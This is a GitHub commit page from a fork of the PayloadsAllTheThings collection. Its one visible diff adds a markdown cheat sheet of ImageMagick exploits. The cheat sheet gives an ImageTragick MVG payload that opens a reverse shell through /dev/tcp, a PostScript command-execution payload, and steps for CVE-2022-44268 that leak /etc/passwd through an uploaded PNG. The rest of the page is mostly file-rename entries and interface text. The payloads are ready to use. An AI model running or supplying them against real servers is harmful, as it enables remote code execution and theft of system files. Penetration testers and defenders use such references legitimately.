forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
723b321
commit dd0c23f
Showing
28 changed files
with
65 additions
and
49 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
# ImageMagick Exploits | ||
|
||
## ImageTragik Exploit v1 | ||
|
||
Simple reverse shell | ||
|
||
```powershell | ||
push graphic-context | ||
encoding "UTF-8" | ||
viewbox 0 0 1 1 | ||
affine 1 0 0 1 0 0 | ||
push graphic-context | ||
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1' | ||
pop graphic-context | ||
pop graphic-context | ||
``` | ||
|
||
## ImageTragik Exploit v2 | ||
|
||
Simple `id` payload | ||
|
||
```powershell | ||
%!PS | ||
userdict /setpagedevice undef | ||
save | ||
legal | ||
{ null restore } stopped { pop } if | ||
{ legal } stopped { pop } if | ||
restore | ||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops | ||
``` | ||
|
||
then use `convert shellexec.jpeg whatever.gif` | ||
|
||
|
||
## CVE-2022-44268 | ||
|
||
Information Disclosure: embedded the content of an arbitrary remote file | ||
|
||
* Generate the payload | ||
```ps1 | ||
apt-get install pngcrush imagemagick exiftool exiv2 -y | ||
pngcrush -text a "profile" "/etc/passwd" exploit.png | ||
``` | ||
* Trigger the exploit by uploading the file. The backend might use something like `convert pngout.png pngconverted.png` | ||
* Download the converted picture and inspect its content with: `identify -verbose pngconverted.png` | ||
* Convert the exfiltrated data: `python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'` | ||
## Thanks to | ||
* [openwall.com/lists/oss-security/2018/08/21/2 by Tavis Ormandy](http://openwall.com/lists/oss-security/2018/08/21/2) |
File renamed without changes
File renamed without changes
File renamed without changes
Binary file added
BIN
+99 Bytes
...ure Files/Picture ImageMagick/imagemagick_CVE-2022-44268_convert_etc_passwd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
File renamed without changes.
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes.
File renamed without changes
File renamed without changes
File renamed without changes.
File renamed without changes.
File renamed without changes
File renamed without changes.
File renamed without changes.
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters